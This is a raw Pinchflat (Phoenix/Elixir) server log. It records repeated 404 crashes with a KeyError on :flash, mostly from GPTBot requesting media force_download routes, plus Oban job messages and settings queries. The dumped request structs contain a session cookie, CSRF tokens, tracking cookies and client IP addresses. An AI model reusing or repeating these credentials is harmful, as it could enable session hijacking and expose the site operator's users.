#PID<0.4710.0> running PinchflatWeb.Endpoint (connection #PID<0.4709.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/34/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/34/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/34/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 35696}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/34", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4710.0>, params: %{}, path_info: ["sources", "1", "media", "34", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/34"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/34/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8NmqwbnMimJtsAAFQh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/34/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 35696}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/34", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/34/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/34/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 35696}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/34", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", (truncated) 20:55:45.661 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.487 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:05.957 [info] POST /v0XWM-8Yj5UI2paZpQXsUyW8_DDJ_HL2MzWqSxD6YjZD6TvjT2sT_4A1SWOYC9h9Bi2RK9pEv8pVDCJCTofAA_X6rdT14-MR6BSXNmlBxns 20:56:05.958 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=778.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:05.959 [debug] QUERY OK source="settings" db=0.7ms idle=342.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:05.959 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:56:05.959 [error] #PID<0.4714.0> running PinchflatWeb.Endpoint (connection #PID<0.4713.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: POST /v0XWM-8Yj5UI2paZpQXsUyW8_DDJ_HL2MzWqSxD6YjZD6TvjT2sT_4A1SWOYC9h9Bi2RK9pEv8pVDCJCTofAA_X6rdT14-MR6BSXNmlBxns ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /v0XWM-8Yj5UI2paZpQXsUyW8_DDJ_HL2MzWqSxD6YjZD6TvjT2sT_4A1SWOYC9h9Bi2RK9pEv8pVDCJCTofAA_X6rdT14-MR6BSXNmlBxns (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v0XWM-8Yj5UI2paZpQXsUyW8_DDJ_HL2MzWqSxD6YjZD6TvjT2sT_4A1SWOYC9h9Bi2RK9pEv8pVDCJCTofAA_X6rdT14-MR6BSXNmlBxns", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 45866}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "connection" => "Upgrade", "content-length" => "156", "content-type" => "text/plain;charset=UTF-8", "cookie" => "rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX1%2B6lXU7zKkej6WO3EsEvy5PuqKkd6ZXawQ%3D; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2BnxGlDVu9NgEn7I5%2BMkiuPwduMoNksCqQ%3D; fontsCssCache=true; rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2BpLq22vNeV7atLQ5OpDMM%2Bw2tVSzuHsHOCbJSFmUBaFVPnk5q%2FlPGyS%2B2rl4sxUmqhzumOk3WZjA%3D%3D; rl_user_id=RudderEncrypt%3AU2FsdGVkX19cxIyZQuLmJdWkRUtolfkQ%2Fo1noJCE%2B8SfY9uDUnkjaNip7POH9BXAE%2FQ%2BjW31nekEAEleWtqttuKX32OhNjYNHRF5QBvWGo8QpXreT3t%2BYWhknEmF83Ah%2BM6p2xae8%2FkMsFz4TCWcxPqtzT3tRUV1g2MfOBu%2Fv94%3D; rl_trait=RudderEncrypt%3AU2FsdGVkX1%2BiF930SZ2e5k8TMzySQzqof47Rx66w3MiPNm4atzKc7zKUc3KF04bnRybBWgaBSsmwV0uRzadzMBowUbSrJlYsh28VczaZcflbfxvsDIOwg9aVhFVSra7s5HcNYAsFpQtpc7iXlwuBLkvemj2z%2B5JtqxOgsCak1N0%3D; rl_session=RudderEncrypt%3AU2FsdGVkX19XSJEuataGk3CUa%2FldZwfELNjzgFbpmWUkwPgn3bA82XzCMhArefkld4Cb9odFwg9gSK3KSEewKbzCIJZ%2FcVnSKJrIoBdboArGYyPIAQzkLIz2FOuPCPodV12iTjWGjOO3NVeW%2F7FOQw%3D%3D; _pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSlM5U1RlWnZ5dVhFMzNPdlNVYjhISkhy.1jH-ap_Aqc5wK0AKHdWdqiN74jLqu5DVNmTON-6dNJo", "gt" => "application/json; charset=UTF-8", "host" => "pinchflat.oddbox.tech", "origin" => "https://pinchflat.oddbox.tech", "priority" => "u=1, i", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/410", "sec-ch-ua" => "\"Chromium\";v=\"146\", \"Not-A.Brand\";v=\"24\", \"Google Chrome\";v=\"146\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36", "x-forwarded-for" => "45.132.159.136", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "45.132.159.136" }, method: "POST", body_length: 156, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined }}, assigns: %{}, body_params: %Plug.Conn.Unfetched{aspect: :body_params}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSlM5U1RlWnZ5dVhFMzNPdlNVYjhISkhy.1jH-ap_Aqc5wK0AKHdWdqiN74jLqu5DVNmTON-6dNJo", "fontsCssCache" => "true", "rl_anonymous_id" => "RudderEncrypt%3AU2FsdGVkX1%2BpLq22vNeV7atLQ5OpDMM%2Bw2tVSzuHsHOCbJSFmUBaFVPnk5q%2FlPGyS%2B2rl4sxUmqhzumOk3WZjA%3D%3D", "rl_page_init_referrer" => "RudderEncrypt%3AU2FsdGVkX1%2B6lXU7zKkej6WO3EsEvy5PuqKkd6ZXawQ%3D", "rl_page_init_referring_domain" => "RudderEncrypt%3AU2FsdGVkX1%2BnxGlDVu9NgEn7I5%2BMkiuPwduMoNksCqQ%3D", "rl_session" => "RudderEncrypt%3AU2FsdGVkX19XSJEuataGk3CUa%2FldZwfELNjzgFbpmWUkwPgn3bA82XzCMhArefkld4Cb9odFwg9gSK3KSEewKbzCIJZ%2FcVnSKJrIoBdboArGYyPIAQzkLIz2FOuPCPodV12iTjWGjOO3NVeW%2F7FOQw%3D%3D", "rl_trait" => "RudderEncrypt%3AU2FsdGVkX1%2BiF930SZ2e5k8TMzySQzqof47Rx66w3MiPNm4atzKc7zKUc3KF04bnRybBWgaBSsmwV0uRzadzMBowUbSrJlYsh28VczaZcflbfxvsDIOwg9aVhFVSra7s5HcNYAsFpQtpc7iXlwuBLkvemj2z%2B5JtqxOgsCak1N0%3D", "rl_user_id" => "RudderEncrypt%3AU2FsdGVkX19cxIyZQuLmJdWkRUtolfkQ%2Fo1noJCE%2B8SfY9uDUnkjaNip7POH9BXAE%2FQ%2BjW31nekEAEleWtqttuKX32OhNjYNHRF5QBvWGo8QpXreT3t%2BYWhknEmF83Ah%2BM6p2xae8%2FkMsFz4TCWcxPqtzT3tRUV1g2MfOBu%2Fv94%3D" }, halted: false, host: "pinchflat.oddbox.tech", method: "POST", owner: #PID<0.4714.0>, params: %{}, path_info: ["v0XWM-8Yj5UI2paZpQXsUyW8_DDJ_HL2MzWqSxD6YjZD6TvjT2sT_4A1SWOYC9h9Bi2RK9pEv8pVDCJCTofAA_X6rdT14-MR6BSXNmlBxns"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSlM5U1RlWnZ5dVhFMzNPdlNVYjhISkhy.1jH-ap_Aqc5wK0AKHdWdqiN74jLqu5DVNmTON-6dNJo", "fontsCssCache" => "true", "rl_anonymous_id" => "RudderEncrypt%3AU2FsdGVkX1%2BpLq22vNeV7atLQ5OpDMM%2Bw2tVSzuHsHOCbJSFmUBaFVPnk5q%2FlPGyS%2B2rl4sxUmqhzumOk3WZjA%3D%3D", "rl_page_init_referrer" => "RudderEncrypt%3AU2FsdGVkX1%2B6lXU7zKkej6WO3EsEvy5PuqKkd6ZXawQ%3D", "rl_page_init_referring_domain" => "RudderEncrypt%3AU2FsdGVkX1%2BnxGlDVu9NgEn7I5%2BMkiuPwduMoNksCqQ%3D", "rl_session" => "RudderEncrypt%3AU2FsdGVkX19XSJEuataGk3CUa%2FldZwfELNjzgFbpmWUkwPgn3bA82XzCMhArefkld4Cb9odFwg9gSK3KSEewKbzCIJZ%2FcVnSKJrIoBdboArGYyPIAQzkLIz2FOuPCPodV12iTjWGjOO3NVeW%2F7FOQw%3D%3D", "rl_trait" => "RudderEncrypt%3AU2FsdGVkX1%2BiF930SZ2e5k8TMzySQzqof47Rx66w3MiPNm4atzKc7zKUc3KF04bnRybBWgaBSsmwV0uRzadzMBowUbSrJlYsh28VczaZcflbfxvsDIOwg9aVhFVSra7s5HcNYAsFpQtpc7iXlwuBLkvemj2z%2B5JtqxOgsCak1N0%3D", "rl_user_id" => "RudderEncrypt%3AU2FsdGVkX19cxIyZQuLmJdWkRUtolfkQ%2Fo1noJCE%2B8SfY9uDUnkjaNip7POH9BXAE%2FQ%2BjW31nekEAEleWtqttuKX32OhNjYNHRF5QBvWGo8QpXreT3t%2BYWhknEmF83Ah%2BM6p2xae8%2FkMsFz4TCWcxPqtzT3tRUV1g2MfOBu%2Fv94%3D" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"connection", "Upgrade"}, {"content-length", "156"}, {"content-type", "text/plain;charset=UTF-8"}, {"cookie", "rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX1%2B6lXU7zKkej6WO3EsEvy5PuqKkd6ZXawQ%3D; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2BnxGlDVu9NgEn7I5%2BMkiuPwduMoNksCqQ%3D; fontsCssCache=true; rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX1%2BpLq22vNeV7atLQ5OpDMM%2Bw2tVSzuHsHOCbJSFmUBaFVPnk5q%2FlPGyS%2B2rl4sxUmqhzumOk3WZjA%3D%3D; rl_user_id=RudderEncrypt%3AU2FsdGVkX19cxIyZQuLmJdWkRUtolfkQ%2Fo1noJCE%2B8SfY9uDUnkjaNip7POH9BXAE%2FQ%2BjW31nekEAEleWtqttuKX32OhNjYNHRF5QBvWGo8QpXreT3t%2BYWhknEmF83Ah%2BM6p2xae8%2FkMsFz4TCWcxPqtzT3tRUV1g2MfOBu%2Fv9 (truncated) 20:56:06.178 [info] CONNECTED TO Phoenix.LiveView.Socket in 48µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IQsNOgY8MAFBLBYUamF9OSMPVQ8tCBBCkX4iRYjw8YNQYR2OpZ77eBX0", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:56:06.289 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 20:56:06.289 [debug] Replied in 146µs 20:56:06.402 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 20:56:06.402 [debug] Replied in 160µs 20:56:15.663 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:38.092 [info] GET /sources/1/media/33/force_download 20:56:38.093 [debug] QUERY OK source="settings" db=0.5ms idle=848.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:38.094 [debug] QUERY OK source="settings" db=0.3ms idle=477.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:38.094 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:56:38.095 [error] #PID<0.4720.0> running PinchflatWeb.Endpoint (connection #PID<0.4719.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/33/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/33/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4719.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/33/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 59650}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/33", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4720.0>, params: %{}, path_info: ["sources", "1", "media", "33", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/33"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/33/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8NqRbtttYzLrIAAFRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4719.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/33/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 59650}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/33", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/33/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4719.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/33/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 59650}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/33", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", (truncated) 20:56:45.665 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.488 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:15.667 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:41.944 [info] GET /sources/1/media/36/force_download 20:57:41.945 [debug] QUERY OK source="settings" db=0.8ms idle=582.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:41.946 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=329.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:41.946 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:57:41.946 [error] #PID<0.4727.0> running PinchflatWeb.Endpoint (connection #PID<0.4726.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/36/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/36/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/36/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 60918}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/36", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", 